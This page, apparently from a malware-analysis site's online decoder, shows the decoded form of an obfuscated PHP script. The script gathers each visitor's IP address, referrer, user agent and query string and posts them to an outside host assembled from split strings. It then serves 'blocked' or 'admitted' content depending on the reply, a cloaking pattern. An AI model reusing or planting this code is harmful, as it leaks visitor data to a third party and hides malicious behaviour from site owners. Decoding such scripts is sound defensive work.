Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


if (!function_exists('xjrI4MESQN')) {
    function xjrI4MESQN()
    {
        $xQe8Nl = $_SERVER['SERVER_ADDR'];
        $xwf6n = '127.0.0.1';
        if (!empty($_SERVER['HTTP_CF_CONNECTING_IP']) && $_SERVER['HTTP_CF_CONNECTING_IP'] != $xwf6n && $_SERVER['HTTP_CF_CONNECTING_IP'] != $xQe8Nl) {
            $ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
        } elseif (!empty($_SERVER['GEOIP_ADDR']) && $_SERVER['GEOIP_ADDR'] != $xwf6n) {
            $ip = $_SERVER['GEOIP_ADDR'];
        } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']) && $_SERVER['HTTP_X_FORWARDED_FOR'] != $xwf6n && $_SERVER['HTTP_X_FORWARDED_FOR'] != $xQe8Nl) {
            $ip = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0];
        } elseif (!empty($_SERVER['HTTP_CLIENT_IP']) && $_SERVER['HTTP_CLIENT_IP'] != $xwf6n && $_SERVER['HTTP_CLIENT_IP'] != $xQe8Nl) {
            $ip = $_SERVER['HTTP_CLIENT_IP'];
        } else {
            $ip = $_SERVER['REMOTE_ADDR'];
        }
        return $ip;
    }
}
$ip = xjrI4MESQN();
if (!function_exists('x2gyrutF1D7')) {
    function x2gyrutF1D7()
    {
        if (empty($_SERVER['HTTP_REFERER'])) {
            $_SERVER['HTTP_REFERER'] = getenv('HTTP_REFERER');
        }
        return $_SERVER['HTTP_REFERER'];
    }
}
$ref = x2gyrutF1D7();
if (!function_exists('xGWSYSlLXt')) {
    function xGWSYSlLXt()
    {
        if (empty($_SERVER['HTTP_USER_AGENT'])) {
            $_SERVER['HTTP_USER_AGENT'] = getenv('HTTP_USER_AGENT');
        }
        return $_SERVER['HTTP_USER_AGENT'];
    }
}
$eRf9t9d9 = xGWSYSlLXt();
if ($_SERVER['QUERY_STRING'] != '') {
    $dHerF777hg = '' . urlencode($_SERVER['QUERY_STRING']) . '';
} else {
    $dHerF777hg = '';
}


$sourceid = '';


$dex9 = '.re';
$langua = 'na';

$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_URL, 'https://findus' . $dex9 . 'st/usst.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 333);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'fd=x990997&ip=' . $ip . '&ref=' . $ref . '&ua=' . $eRf9t9d9 . '&data=' . $dHerF777hg . '&sourceid=' . $sourceid . '&sourcename=c');
$ifbot = curl_exec($ch);
curl_close($ch);
if ($ifbot == '') {
    echo '<h1>CURL ERROR</h1>';
} elseif ($ifbot != '0') {
    echo '[PHP code without for BLOCKED]';
} else {
    echo '[PHP code without for ADMITTED]';
}



© 2023 Quttera Ltd. All rights reserved.